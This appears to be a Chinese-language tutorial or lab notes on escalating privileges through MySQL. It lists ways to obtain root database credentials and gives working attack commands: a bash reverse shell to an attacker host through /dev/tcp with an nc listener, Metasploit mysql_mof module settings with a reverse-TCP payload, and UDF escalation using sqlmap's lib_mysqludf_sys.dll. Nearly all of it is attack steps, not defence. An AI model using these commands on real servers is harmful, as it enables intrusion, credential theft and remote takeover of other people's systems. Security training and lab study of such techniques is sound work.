mysql提权基础
mysql通常在php语言中用的比较多
连接数据库的文件名一般为conn.php、config.php、common.inc.php、config.inc.php等
mysql的提权一般需要root用户
密码的获取
1、数据库查询
select Host,user,password from mysql.user (查询该表需要root权限)
2、配置文件读取
类似未删除的备份文件、git等开源平台、一些打包的压缩文件造成的源码或者配置文件泄露
3、下载user文件
在mysql的data目录下,user.frm、user.MYD、user.MYT可能存在有密码的信息
select @@basedir 获取当前数据库的地址
select @@plugin_dir 插件目录,mysql版本>5.1才有插件目录
提权
简单粗暴的system反弹shell
mysql中root用户可以用system + 命令来执行系统命令
system whoami; 执行whoami命令
反弹shell:
攻击机监听:nc -lvvp 7777 (在7777端口监听)
靶机:id=1;system bash -i >& /dev/tcp/ip/port 0>&1
此时攻击机反弹shell,可以执行命令
尝试失败的mof提权
在windows的 c:/windows/system32/wbem/mof/ 目录下,里面的mof文件每个一段时间便会执行一次
当我们知道了mysql的账号密码并且可以连接后,可以尝试用msf的攻击模块提权
msfconsole下:
use exploit/windows/mysql/mysql_mof
set rhost xxx.xxx.xxx.xxx (目标IP)
set rport 3306 (远程连接数据库的端口)
set username root (远程连接的数据库账户)
set password 123456 (远程连接的密码)
set lhost xxx.xxx.xxx.xxx (反弹shell的地址)
set lport 7777 (反弹shell的端口)
set payload windows/shell_reverse_tcp (设置攻击载荷)
exploit 开始攻击
提示上传成功了但是没有会话,不知道为什么,正常结果的话等待一段时间会反弹shell回来
然后我在攻击机上执行nc -lvvp 6666监听
去靶机点击执行msf上传到c:/windows/system32的exe文件
然后反弹shell了,怀疑mof里面的文件根本没有自动执行
老生常谈udf提权
UDF(user defined function),用户自定义函数,可以用于自定义函数来执行命令。需要mysql安装udf
mysql版本大于5.1,使用select @@plugin_dir语句查看插件安装的目录
mysql版本小于5.1,windows 2000下放置在c:/winnt/system32目录,否则就放在c:/windows/system32的目录下
udf.dll文件在哪里找呢,在sqlmap下就有
在sqlmap的目录下 ./udf/mysql/中就能找到,我的靶机版本是32位的
高版本的sqlmap会将该文件加密将文件移动到./extra/cloak/中,使用cloak.py解码
python2 cloak.py -d -i lib_mysqludf_sys.dll_
解码完成后就有dll文件了,复制到插件目录
复制完成后执行create function sys_eval returns string soname "lib_mysqludf_sys.dll"
,创建里面的函数,注意这里不用输入dll的绝对路径